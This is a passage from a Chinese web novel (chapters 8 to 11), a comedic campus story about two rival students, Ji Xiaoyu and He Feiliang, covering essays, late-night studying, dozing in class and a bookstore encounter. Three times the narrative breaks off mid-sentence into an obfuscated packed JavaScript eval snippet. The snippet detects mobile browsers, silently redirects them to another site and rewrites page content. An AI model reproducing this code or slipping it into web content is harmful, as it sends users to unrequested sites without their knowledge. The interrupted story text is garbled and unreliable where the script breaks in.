“呵呵。”何非亮漫不经心地翻着杂志,眼皮都不抬一下,“我渴了,帮我倒杯水吧。“ 纪小鱼:“……” 何非亮接着补充道,“要四分之一的热水,四分之三的凉水。谢谢。” 纪小鱼:“……” 我忍! 大业未成我先忍,不忍不是中国人! 水端过来了,何非亮懒洋洋地抿了一口,慵懒地松了松肩膀,疯狂暗示,“嗯……我肩膀有点酸,要是有人能帮我揉揉就好了。” 纪小鱼耿直地点点头,弯着手锤了锤自己的肩膀,“哎,你一说,我也觉得我的肩膀有点酸。” 还好刚才喝的那口水已经咽了下去…… 算了算了! 何非亮忍住笑,眼微弯,问,“小鱼,你作业写完了?” “写完了,不过……” 不过,陈阅增先生的《普通生物学》还有一篇没整理笔记、《全国中学生生物学联赛理论试卷解析》还没开始刷、《奥数教程》才刚做到基本不等式…… 任重道远啊! 纪小鱼贴心地给它们都包上了书皮,让他们在一众教材、教辅、习题册中显得平平无奇。 低调、低调! 何非亮恰好翻完了杂志的最后一页,顺着纪小鱼的话头继续问下去,“不过什么?” “不过……”纪小鱼眼珠一转,“啊,那个,我最近新买了一本书,想找找上面有没有错别字。” 何非亮:“你开心就好。” 8. 第八章 吃亏是福 “呐!”何非亮不为难纪小鱼了,从语文课本里拿出夹着的试卷。 纪小鱼乐颠颠地接过试卷,却发现何非亮那边没撒手。 果然,天下没有免费的午餐,何非亮懒懒地勾了勾手指,“交换!” “哦……” 纪小鱼不情不愿地把自己的试卷递了过去。 递到一半,老脸一红,又连忙把自己的试卷抢了回来,“算了,算了,不换了。” 何非亮无所谓地耸了耸肩膀。 当然,也毫不留情地把自己的答题卡也拎了回去。 喂,还真是够小气哦!——纪小鱼气呼呼地斜了何非亮一眼。 没想到,这个时候,语文老师靓丽的身影却出现在了班门口。她的手里抱着一大叠资料,长发飘飘,笑意盈盈。 何非亮把试卷收回去的动作顿了顿。 纪小鱼反应了一下,顿时喜笑颜开。 果然,正如他们所想的,语文老师柔声开口道,“同学们,打扰一下,年级已经把这次考试的优秀作文印出来了。大家今天的语文作业就是选一篇优秀作文写批注和点评哦~” 啧。 优秀作文? 哦呵呵呵呵呵! 纪小鱼眉开眼笑——那就是可以白嫖何非亮的作文了! 作文资料顺着座位往下传,果不其然,一切尽在掌控之中,何非亮的作文正是范文中的第一篇。 纪小鱼愈发笑得见牙不见眼,一副小人得志、沾沾自喜的模样,语气也愈发欠扁,“何非亮呀何非亮,想不到吧~不过老话说得好,吃亏是福——不过当然是你吃亏,我幸福啦,哈哈哈哈!” 何非亮无奈地抿了抿唇角,随及又缓缓地笑了开来,慢悠悠地喝了口水,“也不亏啊,不是赚了一杯水吗?” 哎呦,还真是! 本来可以不用倒这杯水的! ……何非亮不亏,那就是我亏了!? 哎呦,亏大了! 纪小鱼的笑容瞬间枯萎了,只觉得心口好疼。 何非亮拍了拍纪小鱼的肩膀,伤口撒盐,“吃亏是福,吃亏是福~” 纪小鱼的心更痛了。 作文资料又传下来了好几张,何非亮呵呵地笑了笑,扬了扬其中的一张,“诶?小鱼,你的作文也在上面哦。” 此言一出,纪小鱼心态立马崩了。 努力维持着平和感的面容终于在这一刻扭曲了,流露出了痛苦的神色。 深深地为学校版权意识的薄弱感到愤愤不平! 这次的作文题目紧扣时事热点,考的是结合生活实际,谈谈你对“内卷”的看法。 纪小鱼作文的主题思想,一言以蔽之,就是“内卷何足惧,越卷我越强!” 这一主题在结尾还不忘总结升华了一下—— “内卷时代的天空中群星璀璨,我们也许只是亿万星辰中的一颗星子,却也不应该忘记‘有一分热,发一分光’[1]的信念; 别人的光彩和努力从来就不应该成为我们躺平的理由,越是在竞争中越应该秉持着‘此时不搏更待何时’[2]的精神,方能在时代的洪流中脱颖而出; 拼搏是一种生命昂扬向上的姿态,我选择奋斗,是因为我知道‘生于忧患,死于安乐’[3]的道理; 我从来不怕内卷,我只怕我流连于舒适圈中,停下前行的步伐。” 仿佛一篇励志的演讲稿。 兼具鸡汤文化和狼性文化的精髓。 非常具有正能量! 但是,给别人看到……尤其是给何非亮看到……就很羞耻啊!!! “哇!”何非亮不仅看了,而且看得仔仔细细、一字不落,看完忍不住竖起大拇指,“小鱼,写得很好啊!好好留起来,将来找工作的时候也许还能用上!” “滚滚滚。”纪小鱼白了何非亮一眼,按捺住心头翻涌的尴尬、尴尬、以及尴尬,埋头继续看何非亮的作文,努力从中挖掘可以拿来狠狠吐槽回去的亮点。 何非亮的主旨和纪小鱼恰恰相反,写出了一派“他强任他强,清风拂山冈;他卷任他卷,明月照大江[4]”的淡泊宁静,读下来甚至还有那么点“何夜无月?何处无竹柏?但少闲人如吾两人者耳[5]”的惆怅与无奈。 别的不说,逼格倒是有那么点。 纪小鱼在心里轻哼一声,“何非亮,你骗人,你明明就是一只偷学狗!气死我了!” 这么想着,纪小鱼提笔,当着何非亮的面,在他的作文旁边毫不留情地批注了两个大字——“虚伪!” 何非亮:“……” 虚伪的何非亮懒懒地撑着头,笑了笑,满脸写着欠扁地在纪小鱼的作文旁边提笔写下——“牛逼!” 纪小鱼:“……” 啊啊啊啊啊啊! 这种要抓狂的感觉! 天啊,这么羞耻的作文老师为什么可以随便印出来啊! 丢死人了! 纪小鱼气鼓鼓地把作文资料都塞进了课桌,随手翻开一套数学题开始刷了起来。 生活就像海洋,只有意志坚强的人才能到达彼岸[6]。 嘈杂褪去,万籁俱静,纪小鱼纷乱的心绪在题海中渐渐平复。 时间掐得刚刚好,第一节课下课铃声打响之际,纪小鱼恰好完成了难度颇高的最后一题,如释重负般地深深呼出了一口气,露出了一丝疲惫的微笑。 脸颊也有些发烫了。 一对答案—— 唉,又是全对! 真可惜,没有错题,就意味着没法查漏补缺了。 啊,真是太遗憾啦! 纪小鱼合上书本,心满意足地伸了个大大的懒腰,起身在教室里背着手踱了两步,站定在了蒋小胖身后,关切地开口道,“诶,胖啊,学得怎么样了?有不懂的吗?” “咳,”纪小鱼摆出一副仙风道骨的姿态,“有不懂的可以问我啊!” “哦,好哦。”蒋小胖点点头,认真地问道,“那个孟德尔种那么多豆子,他不会弄混吗?” 纪小鱼:“???” “而且,”蒋小胖追问道,“万一哪一株豆子死了,他要重新从豆子祖宗开始种吗?” 纪小鱼:“???” 好问题! 好奇葩的问题啊! 纪小鱼面露难色:“这个……” 蒋小胖憨憨地笑了笑,“没事没事,小鱼你不知道也没关系,我问一下何非亮吧!” “慢着!”纪小鱼像被针戳到的气球,瞬间就炸了,“谁说我不知道的!这题我会!” 哦? 这下,连何非亮的眼神也晃晃悠悠地落在了纪小鱼身上,充满了探究和期待,像是在准备看一场精彩的演出。 “首先,”纪小鱼的大脑飞速运转,“你的第一个问题涉及到了‘豌豆用作遗传实验材料的优点’——豌豆,两性花,自花传粉,自然状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891542|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态下一般为纯种,且具有易于区分的相对性状[7]。” “使用豌豆进行杂交实验,”纪小鱼竖起大拇指,赞叹道,“结果既可靠,又容易观察和分析,相对来说不易弄混!” “哦~”蒋小胖点点头,“原来是这样!” “至于你的第二个问题,咳,从统计学的角度来看,个体的偏差可以看作是误差项,它对整体结果的影响是可控的。你也说了,孟德尔种了那么多豆子是吧?在这种样本量相对比较大的情况下,作为个体的哪一株豆子不小心死了,实际上问题不大。” “嗯~”蒋小胖点点头,“明白了!小鱼你真厉害!” 纪小鱼心里美滋滋,觉得不枉了方才一口气噼里啪啦几乎要说到缺氧的苦心,忍不住追问道,“那小胖啊,你再仔细想想,吾与何非亮孰美啊?” “当然是何非亮啦!” 蒋小胖瞅了瞅何非亮,脸上浮起一层红晕,眼睛也变成了粉粉爱心的形状,还一闪一闪的。 纪小鱼差点没吐出一口血来。 “不过,小鱼,你也不必妄自菲薄。在我的心目中,你的帅气指数,”蒋小胖低头想了想,伸出两根手指,“排第二!” 纪小鱼:“……” 不知道为什么,就想到了家里堆满满的银牌,和写着“第二名”的奖状。 缓了缓,纪小鱼幽幽地开口:“我们还是谈学习吧……” “哦……”蒋小胖憨憨一笑,“小鱼,我看了这么久的生物,还是有收获的!” “行,”纪小鱼捂着还有余痛的胸口,强自镇定,“你说。” “不要吸烟。” “啥?” “你看,这里,课本第23页写了,吸烟会影响……影响健康!” 纪小鱼凑上去,眯着眼睛仔细看了看,惊道,“诶,小胖可以啊!我看了三遍书都没注意到这句话!” “还有还有,学完遗传以后,”蒋小胖嘿嘿一笑,想了想,掰着手指认真地说,“我觉得我能活得这么健康,得要感谢我爸,感谢我妈,感谢我爷爷奶奶、外公外婆、列祖列宗……我还要感谢命运,和我自己!” “你说得对!” 纪小鱼慈爱地看着蒋小胖,这孩子长得多健康啊! 心态也很阳光! 不过—— 纪小鱼拍了拍蒋小胖的肩膀,叹了口气,“小胖啊,可惜题目一般么,不这么考诶……你等会,自求多福罢!” 说完,纪小鱼又背着手,大摇大摆地在教室里晃悠了起来。 很突然地,听到了一声沉重的叹息—— “唉!就剩1500米没人报了!” 纪小鱼耳朵动了动,DNA也跟着动了。 没人报? 我报啊! 纪小鱼循声望去,仿佛看见了体育委员吕天明的头上冒出了一个代表“新任务”的感叹号。 “体委啊,咳,我是来为你解决烦恼的……但是,这件事,一定要保密!” “没问题!以后你就是我的好兄弟了!” 【任务奖励好兄弟×1】 …… 第二节晚自习开始了。 夏老师掐着点走进了教师,板着脸在教室里巡查了一圈后,终于还是把弱小可怜又无助的蒋小胖给带走了。 “小胖,祝你好运!” 纪小鱼眨了眨眼睛,目送着蒋小胖秋风萧瑟的背影,无声地为他加油。 9. 第九章 不要熬夜 “今天的幸运儿是哪一位呢?”纪小鱼小声嘟囔道。 又到了激动人心的时刻! 纪小鱼闭上眼睛,手指在书包里的一大摞习题册间摩挲。 嗯,就是你了! 纪小鱼抽出了其中一本练习,睁开眼一瞧——哦!是英语阅读理解! emmmm…… 纪小鱼思考了三秒,又把它给放回去了。 “今天的幸运儿是哪一位呢?” 纪小鱼的手指在习题册间划过,这次抽到的是数学竞赛必刷题。 纪小鱼终于露出了心满意足的微笑。 一扭头,发现何非亮正趴在桌子上,弯着眼睛看着他。 “干嘛,”纪小鱼警惕地捂紧了自己的数学竞赛必刷题,“你笑什么哦?” “好无聊啊,小鱼,”何非亮捂着嘴巴打了一个呵欠,眼里的促狭一闪而过,“借我本题刷好不好?” “呵呵,你想得美哦。” “嗯——我可以告诉你作文怎么拿高分哦……” “哦?”纪小鱼闷闷地应了一声,在心里盘算了一番,觉得有利可图,点了点头,勉为其难地同意了,“那行吧。” 纪小鱼从书包里摸出了那本英语阅读理解递了过去。 何非亮拎过英语阅读理解,摆弄着看了看,好像不太满意,“有别的吗?” “没有了。”纪小鱼觍着脸,一本正经地回答。 何非亮:“……” 纪小鱼心里有点发虚,“刚才是你说要换的,反悔的是小猪哦!” “行吧,”何非亮坐直了一点身体,从抽屉里搜出一个文件夹,翻找了一下,抽出来一张轻飘飘的打印纸,“喏,送你了!” 纪小鱼定睛一看—— 高考作文等级评分标准? 【一类文:符合题意,中心突出;内容充实,感情真挚;语言流畅,表达得体;结构严谨,层次分明[1]……】 “喂!”纪小鱼觉得那上面写的东西简直完美的符合“听君一席话,胜似一席话”的标准,忍不住嚷嚷道,“我要退货!” 何非亮正津津有味地看着英语阅读理解,也不真的写题,就一页一页地看了翻过去,好像在悠哉游哉地读着一篇一篇的小故事,“不好意思,今天下班了,明天再退吧。” 下班了? “不好意思,我还在营业!”纪小鱼张牙舞爪地扑上去,“把我的阅读理解还我!” “刚才是你说要换的,反悔的是——”何非亮用胳膊肘架住要扑上来的纪小鱼,侧着头,嘴角漏出一点笑,反问道,“是什么来着?” 纪小鱼一口气差点没上来,为了避免成为纪小猪,只好决定先不反悔了。 可是还是感觉好亏哦。 算了算了,吃亏是福,吃亏是福。 纪小鱼只好在心里抹着眼泪,安慰自己。 就这样度过了表面上相安无事的一节晚自习。 实际上—— “哗啦”,纸张发出轻微的摩擦声。 纪小鱼竖着耳朵,听见何非亮又往后翻了一页。 “哇,何非亮为什么看得这么快?” “不行不行不行,我写数学也要写快一点才行!” “哼,何非亮一定是看不懂所以跳过了吧?” …… 夜色渐浓,纪小鱼放了晚自习回到家中,妈妈已经睡了,桌上照例是一碗热汤。 今天的是冬瓜排骨汤,主打清热祛湿。 纪小鱼一边一勺一勺地小口喝着汤,一边摸出手机,打开了聊天界面。 哈利皮特: 高手兄,我已经朝着我们的计划前进了一小步了!!! :-p: 加油。 哈利皮特: 高手兄,能问你作文怎么写高分吗? :-p: 文无定法。 :-p: 唯风骨可见高下。 风骨? 纪小鱼挠挠头,若有所悟。 高手兄这是说,作文要写出文人的风骨吗? 纪小鱼不禁浮想联翩,这次的作文题目,如果是李白会怎么写,如果是杜甫会怎么写…… 越想越觉得,高手兄真是深不可测。 比那个何非亮厉害多了! 秋风习习,带来阵阵凉意,拂过眉间,吹过头顶。 纪小鱼突然心头一紧,想到了一个颇为要紧的问题。 哈利皮特: 高手兄,能再问你一个问题吗?就是那个……我有一个朋友叫做何非亮,他想问一下他英年早秃了怎么办? :-p: 早点睡。 :-p: 乖。 早睡? 早睡是不可能早睡的,没打败何非亮之前是不可能早睡的。 纪小鱼从书包中掏出一大摞习题,笑容逐渐扭曲。 至于—— 纪小鱼微微抬起眼皮,揪了揪自己细软的额发,目光从动摇转向坚定。 只要有文化,秃了也不怕! 打败何非亮,攒钱去植发! …… 又是新的一天,纪小鱼顶着两个硕大的黑眼圈,踩着早读课的铃声,准时走进了教室。 一看何非亮—— 嗐!一大早就开始践行“糟粕”文化了,睡得可香了。 纪小鱼摇摇头,顺手把教室里空调的冷气片打上了一点,再把自己身上的校服外套脱下来,轻轻搭在何非亮的肩上,好让何非亮睡得舒服一点。 如果可以的话,他甚至想再给何非亮放一点催眠的摇篮曲,好让他睡得更香甜一点,像一个没有烦恼的宝宝。 这样,就可以趁何非亮睡觉的时候,多学一点了。 纪小鱼忍不住幻想,自己超过何非亮,接受采访的时候,一定要深情又真挚地说一句—— “世界上哪有什么天才,我只是把别人睡觉的时间都用在学习上了。” 哦嚯嚯嚯嚯嚯! 一年之计在于春,一日之际在于晨。今天早读课,纪小鱼交给了自己一个神圣的任务,那就是—— 那就是—— 呃…… 纪小鱼翻了翻自己的小本子。 哦,想起来了! 那就是—— 学会“照相机记忆法”! 这可是昨天记下来的“精华”,是非常值得学习的地方! 今天是英语早读,纪小鱼端起英语课本,目光在一小段课文上定住,眼睛一眨也不眨,认真地想要拍下每一个单词。 “咔擦!” 纪小鱼闭起眼睛,脑海里努力回忆着刚才锁定住的画面。 诶? 闭起眼睛的时候好舒服啊! 好像整个人都沉浸在了一个温暖的泡泡里…… 好想就这样一直闭下去啊……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891543|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 渐渐的,风声雨声读书声,仿佛隔着一层可悲的厚障壁,好像啥都听清了,又好像啥也没听清,像一层一层的幻觉。 渐渐的,眼皮再也打不开了,书上的字迹变得越来越模糊,多出了好多的重影。 再然后,纪小鱼就什么也不知道了,毫无反抗之力地完全沉入进了温暖的泡泡池里,暂时的与世隔绝了。 秋天好像也变得温柔了。 …… “同学们,最新研究表明,长期处于光照下睡眠,更容易患上心脏病和代谢疾病[2]。所以——”英语老师拉长了声音,用力地敲了敲黑板,“还在睡觉的同学请醒一下,开始上课了!” 纪小鱼从睡梦中惊醒,一时竟不知今夕何夕。 何非亮在一旁幸灾乐祸地憋着笑,一副憋得很辛苦的样子。 “干嘛?” 何非亮把下半张脸都埋在胳膊里,肩膀一颤一颤的,根本说不出话来。 纪小鱼顺着何非亮的目光低头一看。 哎呦,不好! 口水把课本都打湿了! 阿巴阿巴阿巴…… 纪小鱼觉得,有那么一瞬间,自己的生命体征消失了。 “我们今天要讲的是虚拟语气,”英语老师高晶清了清嗓子,“这是我们期末考试的重点,也是难点。” 纪小鱼赶紧坐正身体,强打起精神,把自己抢救回来。 成大事者不拘小节,当务之急是好好听课! 口水是什么我不知道…… 可是,听着听着,脑袋好像是清醒的,眼皮却耷拉着,好像要费很大的力气才能勉强抬起一条缝。 稍微闭着眼睛听一下也没事吧? 撑着头的手腕好像也有点间歇性使不上力,稍不注意头就猛地往下掉。 “下面我们来讲if引导的非真实条件句的形式和用法,”高老师的声音好像有一种神奇的韵律,像一个能吸走人意识的漩涡一样,“第一种,假设类型与现在事实相反……” 可是,我有在听课啦…… 纪小鱼低头认真地做着笔记。 …… “OK! So much for today!” 确实是so much了…… 终于等来了英语课的惯用结束语,纪小鱼像散架了一样,再没有半点犹豫,直直地趴下去,只觉得自己枕着的胳膊好软、好舒服。 迷迷糊糊中,好像有谁把外套披在了他身上。 暖暖的,香香的,还带着残留的体温…… 下一节的化学课,纪小鱼的脑袋也依然在魔法咒语一般的化学方程式中沉沉浮浮。 我、我有在听课! 纪小鱼倔强地提着笔,跟随着老师的思路,在本子上勤勤恳恳地记着笔记,与地心引力孜孜不倦地做着斗争。 化学老师抑扬顿挫的声音在脑海中清晰地回绕着。 纪小鱼坚信,自己只是眼睛有点累,大脑还是很清醒的! 比如,他还能准确地翻译出来,化学老师说的“益体”,就是“液体”的意思;“耶量”,就是“热量”的意思;“金属辣”指的是“金属钠”…… 下课铃声响起,紧接着是课间操的音乐。 化学老师有点意犹未尽,但也无可奈何,“好的,童鞋(同学)们,介(这)节阔(课)就上到介(这)里了,偶(我)们明天见。” 纪小鱼立马趴倒。 10. 第十章 力透纸背 同学们稀稀拉拉地走出教室,纪小鱼趴着没动——动不了了。 体育委员吕天明跑过来看看情况,“诶,我兄弟怎么了?” “嘘!”何非亮在嘴唇前竖起一根手指,轻声道,“他病了。” “哦。”吕天明点点头,目光中浮现出了一点担忧,“那你呢?” 何非亮本来想说“我留下来照顾他”,扫了吕天明一眼,话到了嘴边又咽了回去。 如果这样说的话,按照吕天明今天表现出来的热情程度和平日里的性格特点,会说“没事,那你去出操吧!我来照顾我兄弟!”的可能性大概有97.33%…… 何非亮轻咳一声,“我也病了。” “哎呦!这也太……嗐,那你俩有请假条吗?” 班长何非亮现场开了两张请假条递给吕天明。 “好的,你俩保重哈!”吕天明接过请假条,一路小跑跟上班级的队伍。 “你得了什么病啊?”纪小鱼趴在桌上,含糊不清的嘟囔着。 “懒病。”何非亮找了一个舒服的姿势,也趴下来睡了。 …… 梦里什么都有,真不想醒来。 这一觉睡得好沉,好舒服,好像安安稳稳地过了一个世纪那么久。 但其实现实中并没有过去多久,窗外回绕的是“一二三四五六七八,二二三四五六七八……”的广播操口令,刚刚好做到跳跃运动;透过梧桐树斑驳的树影,可以看到一片蓝白校服相间的海洋。 高二A班的教室里空空荡荡,只剩下角落里挤着的两个同学,一个是何非亮,另一个是纪小鱼。 纪小鱼睡饱了,心满意足地睁开眼,发现口水把化学书也打湿了。 口水称得上是“力透纸背”…… 呃,“力透”了七八张纸吧…… 囧…… 纪小鱼赶紧随意地擦了一下,手忙脚乱地把化学书收进了课桌。 千万别给何非亮发现了! 一扭头,发现何非亮正趴在桌上,要笑不笑地看着他,一双好看的茶色眼眸温柔又缱绻,但此时却一副看好戏的样子,“小鱼,又流口水了啊?” 纪小鱼:“……” 真是哪壶不开提哪壶,何非亮真是低情商! “低情商”的何非亮继续追问道:“小鱼,昨晚很晚睡吧?” 纪小鱼耳朵警惕地动了动。 哦~原来何非亮是搁这儿套话呢! 不能让他知道我昨晚熬夜写题偷卷到凌晨三点了! 绝对不能! 纪小鱼连忙否认,“没有,没有,我昨晚十点多钟就睡了。” 何非亮一脸不信,“那你今天怎么上课还打瞌睡呢?” “我没睡,你看,我还做了笔记!” “哦,是吗?”何非亮扒过纪小鱼的笔记本一看,沉默了一会,终于忍不住笑了。 书上的笔记看上去好像画的符咒一样,有的支离破碎,有的扭曲成一团黑线,还有的飘逸得仿佛要飞起——就没几个字看得懂的。 和纪小鱼平日里规规矩矩的字体形成了鲜明的对比。 纪小鱼自己也傻眼了,但他很快就按捺住了自己的心虚,振振有词道,“这是月球文!” 何非亮:“……” “想不到吧?”纪小鱼甩了甩额前的碎发,摆出一副又酷又潇洒的神态,“我其实是从月球上来的!” “哦~”何非亮好像信了一样的点点头,目光像看傻子一样,轻飘飘地落在纪小鱼身上。 “何非亮!”纪小鱼上头了,气势汹汹扑上去,“我要代表月亮消灭你!” 何非亮轻而易举地格挡住了扑上来的纪小鱼,目光既探究,又好奇,好像想要看清楚纪小鱼的脑瓜子里面到底都装了些什么,“你咋不说——‘我,秦始皇,打钱!’呢?” 纪小鱼老脸一红,手指蹭了蹭自己的鼻尖,“还是从月球上来更酷吧?” “那确实。” 好不容易笔记本上有看得懂的字了,何非亮一口气差点没上来,再也绷不住了,捂着肚子笑得前仰后合—— “纪小鱼,什么是‘发(fà)学方程式’?” 啊啊啊啊啊啊! 纪小鱼把笔记本抢了回来,丢进了抽屉里,自己也捂着发烫的脸笑了。 救命,这都是什么事啊! 丢死人了! …… 好不容易止住了笑,班上的同学们也陆陆续续地回到了教室。 吕天明一马当先,径自走到纪小鱼的座位前,“好兄弟,听说你病了!特意给你带了一瓶包治百病的老王头凉茶,下周四的……” “诶诶诶!”纪小鱼大惊,拼命地给吕天明使眼色——嘿,兄弟!保密!保密呀!咱说好了要保密的! “哦哦哦!”吕天明心领神会,“好兄弟,你好好养病!下周四我们啦啦队需要你!” 纪小鱼这才松了口气。 何非亮悠哉游哉地在一旁,抿了口茶。 睫毛低垂,掩住眼底波澜。 ——嗯?吕天明什么时候和小鱼这么熟了?下周四? Interesting…… 只是关于这份若有所思,何非亮却没有继续再追问下去了。 像是享受这一刻的运筹帷幄。 - 子在川上曰:“逝者如斯夫,不舍昼夜。”[1] 有何非亮坐镇在旁,一天一天的,纪小鱼简直如芒在背、如鲠在喉、‘如泣如诉’…… 别问,问就是回想到过去抓狂的屈辱,心在哭泣,想找人倾诉! 苍天啊——大地啊——不公平的命啊!你以为你可以扼住我命运的咽喉吗?那你未免太天真了! 我,纪小鱼,发奋图强、励精图治,誓要做那逆天改命之人! 在这种精神上的鞭策之下,纪小鱼刷题的速度可以说是一日千里、恐怖如斯了。 当然,还是进行了一些系统性的优化——再不敢睡那么晚、熬夜写题到凌晨三点了。 度过了忙碌又充实的一周以后,纪小鱼发现自己已经无题可写了。 于是,在这个阳光灿烂的周六,纪小鱼戴上了宽沿的鸭舌帽,把脸藏在巨大的围巾里,只露出两只眼睛,鬼鬼祟祟地来到了市区里最大的书城。 至于为什么要打扮得这么严实,当然是为了避免被认出来咯! 买题的时候碰到熟人…… 噫~光是想一想就觉得心脏停跳、头皮发麻、尴尬得脚趾抓地好吧? 懂的都懂! 书城的教辅区可以说是“题山题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891544|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海”—— 课本上一个小小知识点也能扣出来立书成册,名曰“专题训练”,不同的知识点串联起来的叫“综合训练”;还有按难度分的,简单的出一本叫“基础训练”,中等难度的再出一本叫“提高训练”,再难一点的叫“冲刺训练”…… 纪小鱼径直奔向了“挑战压轴题”,随便翻了一页,用脑子把上面的题目迅速过了一遍,发现其实也没啥挑战。 但是本着查漏补缺的精神,还是带上了一本看上去比较详实的。 现在的教辅也越来越卷了,有的答案比题目还厚,堪称是保姆式解析;有的每一个章节前面都先写一大篇鸡汤,洋洋洒洒几千字,苦口婆心地劝学;还有的从封面到插图都异常精美,一打开便是各种花花绿绿的思维导图…… 出书的老师们真是“八仙过海,各显神通”,纪小鱼很快就有点眼花缭乱了。 不一会儿,购物篮里就堆满了十几本各式各样的题。 “你看,别人家的小孩,都知道自己主动来买题!”一位家长瞅见了纪小鱼,立马恨铁不成钢地数落起自己家的孩子,“你呢?妈妈带你来买题你还不高兴了!” 纪小鱼连忙摆摆手,“买来送人的、送人的。” 唉,不用谢,就当日行一善了。 当然,这只是一个小小的插曲,纪小鱼继续在题海中精挑细选着。 “这本怎么样?”一只修长的手递过来一本《Algorithm》,“我觉得挺有趣的,很有逻辑的美感。” “哦,我看看。”纪小鱼礼貌地接过书翻了翻。 量水问题与欧几里得算法、二分法求奇次方程的实根、斐波那契数的三种解法…… 纪小鱼越看越是惊奇,好像打开了新世界的大门,不由轻轻地“诶”了一声。 嗯……不过考试又不考! 还是以后再看吧! 等一下又超纲了! 这一恐怖的念头瞬间把纪小鱼从算法的世界中拽了出来,他连忙把书递还过去,“不用了,不用了,谢谢。” “那可真是太遗憾了。” 这声音懒洋洋的,像是熹微晨光里一缕微醺的风,听着怪耳熟的。 纪小鱼抬头一看,递给他书的不是别人,正是何非亮! 何——非——亮!? 哇!不是吧! 出来买题竟然碰见了何非亮,这也太太太太太倒霉、太太太太太丢脸了吧! 纪小鱼下意识地脱口而出,“我不是纪小鱼。” “嗯,我知道。”何非亮扫了一眼纪小鱼手里满满当当的购物篮,点点头,“你是买买题。” “买买题”同学尴尬地揉了揉鼻子。 奇怪,自己明明已经裹得这么严实了,何非亮到底是怎么看到他的? 不对,他为什么也刚好在这儿啊! 这简直是用科学也无法解释的问题啊! 八字不合、八字不合…… 诶,不对? 纪小鱼反应过来,拉下围巾,透了口气,“喂,何非亮,你怎么也在这里?” 不等何非亮开口,纪小鱼就歪过身子,伸长了脖子,目光敏锐地捕捉到了何非亮手里还掂着一本书,兴奋道:“哎呦呦,瞧瞧,您这不也是来买题了么?嘿!买买题二号,早啊!” 11. 第十一章 心理战术 “no, no~”何非亮摇了摇食指,纠正道,“这不是题,这是‘怎样解题’。” 一边说着,何非亮一边把手上的书展示给纪小鱼看—— G·波利亚的《怎样解题》。 “呵呵,”纪小鱼冷笑道,“何非亮,你‘真要令我笑死’[1]!外国人写的题,就不是题了么?” “小鱼,你仔细看看,这不是题——这是解题的方法论。”何非亮强烈推荐着手上的书,“你想啊,人生也有涯,而‘题’也无涯;以有涯随无涯,殆已[2]!题目千变万化,重要的是解题的思路和方法。嗯,这本方法论我觉得写得还不错,你要不也看看?” “重要的是解题的思路和方法?说得简单哦!”纪小鱼声音稍微拔尖了一些,瞪圆了眼睛,眼尾却微微地垂下来,显露出了一点零星的委屈,“何非亮,你以为,三年级的‘小神童杯’数学邀请赛,我是怎样输给你的?” “小神童杯”数学邀请赛? 何非亮揉了揉太阳穴,这可真是遥远的记忆。 “填空题,第一题,”纪小鱼扬起头,目光紧紧地盯着何非亮的眼睛,咬牙道,“在一副扑克牌中,除去大小王,抽三次,恰好抽到三张A的概率是多少?” 何非亮被纪小鱼这一瞬间的气势震慑住了,弱弱地回答道:“5525分之1……” “可恶!我没有要你回答!我只是要讲,我当时没做出来,”纪小鱼的气焰突然低落下来,嘴角向下抿了抿,努力地咽了口唾沫,好像突然回到了小时候,想要拼命压制住自己心头的难过和沮丧,“是因为我不知道扑克牌有多少张……” 纪小鱼伤心地想,要是那个时候多刷几套历年真题就好了,再往前做十年,明明就有类似的题目了…… 一连串的画面在何非亮的脑海中接连闪过,好像是有这么一回事—— 印象里,那是一个蝉鸣聒噪的夏天。 那一年,S市不知道从哪刮来了一阵风,突然兴起了一阵轰轰烈烈的培养“神童”的热潮,市面上到处都是“超前班”、“小天才班”、“赢在起跑线班”、“幼儿园学完小学班”、“小学学完初中班”…… 只是后来越来越多的教育学专家和心理学专家都站出来表示,这种“揠苗助长”的行为,不符合发展心理学中童年期认知发展的规律,实际上是有害于孩子的身心健康的且事倍功半的,再加上官方文件的“叫停”,这场风潮才在后面的几年里犹犹豫豫地平息了下去。 “小神童杯”数学邀请赛就是当时这一热潮中的产物。 经过了初赛、复赛的筛选,终于迎来了小学组万众瞩目的决赛,地点选在了市中心的一所小学。 何非亮到了以后,没有马上进去考场,而是先去了趟小卖部。 小卖部并不拥挤,纪小小鱼站在他前面,认认真真地仰望着冷饮货架上的价签,摇了摇头,嘟囔道,“水也两块,可乐也两块,傻子才买水哦。” 何非亮伸向矿泉水的手僵在半空,觉得自己有被冒犯。 “低情商”的纪小小鱼踮起脚,兴高彩烈地够着了一瓶可乐,开开心心地跑去结账了,临走前,不忘回身做了个鬼脸,“喂,我先走了,才不等你哦!” 